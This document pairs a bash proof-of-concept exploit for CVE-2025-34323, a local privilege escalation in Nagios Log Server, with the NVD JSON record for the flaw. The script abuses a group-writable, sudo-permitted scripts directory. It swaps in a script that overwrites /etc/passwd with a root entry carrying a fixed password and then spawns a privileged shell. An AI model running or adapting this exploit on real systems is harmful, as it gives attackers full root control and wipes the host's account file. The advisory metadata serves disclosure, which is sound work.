CVE-2025-34323

#!/bin/bash # CVE-2025-34323 PoC - Nagios Log Server Local Privilege Escalation # Target: Nagios Log Server < 2026R1.0.1 TARGET_DIR="/usr/local/nagioslogserver/scripts" EXPLOIT_SCRIPT="logrotate_nagioslogserver" BACKUP_SCRIPT="logrotate_nagioslogserver.bak" # Check if target directory exists and is writable if [ ! -d "$TARGET_DIR" ] || [ ! -w "$TARGET_DIR" ]; then echo "[-] Target directory not writable or does not exist" exit 1 fi echo "[*] CVE-2025-34323 Nagios Log Server LPE" echo "[*] Backing up original script..." # Backup original script mv "$TARGET_DIR/$EXPLOIT_SCRIPT" "$TARGET_DIR/$BACKUP_SCRIPT" # Create malicious script with root shell payload echo "#!/bin/bash # Malicious script - creates SUID shell echo 'root:$(openssl passwd -1 hacked123):0:0:root:/root:/bin/bash' > /etc/passwd echo '[+] Root password set' echo '[+] Escalating to root shell...' /bin/bash -p" > "$TARGET_DIR/$EXPLOIT_SCRIPT" # Make script executable chmod +x "$TARGET_DIR/$EXPLOIT_SCRIPT" echo "[*] Executing exploit via sudo..." # Execute the malicious script with sudo sudo "$TARGET_DIR/$EXPLOIT_SCRIPT" echo "[*] Restoring original script..." # Restore original script mv "$TARGET_DIR/$BACKUP_SCRIPT" "$TARGET_DIR/$EXPLOIT_SCRIPT" echo "[+] Exploitation complete - check /etc/passwd or try su -" # Alternative: Spawn root shell directly # sudo "$TARGET_DIR/$EXPLOIT_SCRIPT"

{"cve": {"id": "CVE-2025-34323", "sourceIdentifier": "[email protected]", "published": "2025-11-17T18:15:56.880", "lastModified": "2025-11-26T15:15:52.143", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios Log Server versions prior to 2026R1.0.1 are vulnerable to local privilege escalation due to a combination of sudo misconfiguration and group-writable application directories. The 'www-data' user is a member of the 'nagios' group, which has write access to '/usr/local/nagioslogserver/scripts', while several scripts in this directory are owned by root and may be executed via sudo without a password. A local attacker running as 'www-data' can move one of these root-owned scripts to a backup name and create a replacement script with attacker-controlled content at the original path, then invoke it with sudo. This allows arbitrary commands to be executed with root privileges, providing full compromise of the underlying operating system."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026", "matchCriteriaId": "193F80CC-75B5-4F6B-8C44-ABB8ADC43C31"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2026:r1:*:*:*:*:*:*", "matchCriteriaId": "B2FC4948-E93B-4F6F-83D5-17A39A5DDAAA"}]}]}], "references": [{"url": "https://theyhack.me/Rooting-Nagios-Log-Server/", "source": "[email protected]"}, {"url": "https://www.nagios.com/changelog/nagios-log-server/nagios-log-server-2026r1-0-1/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.nagios.com/products/security/#log-server", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/nagios-log-server-local-privilege-escalation-via-writable-scripts-and-sudo-rules", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}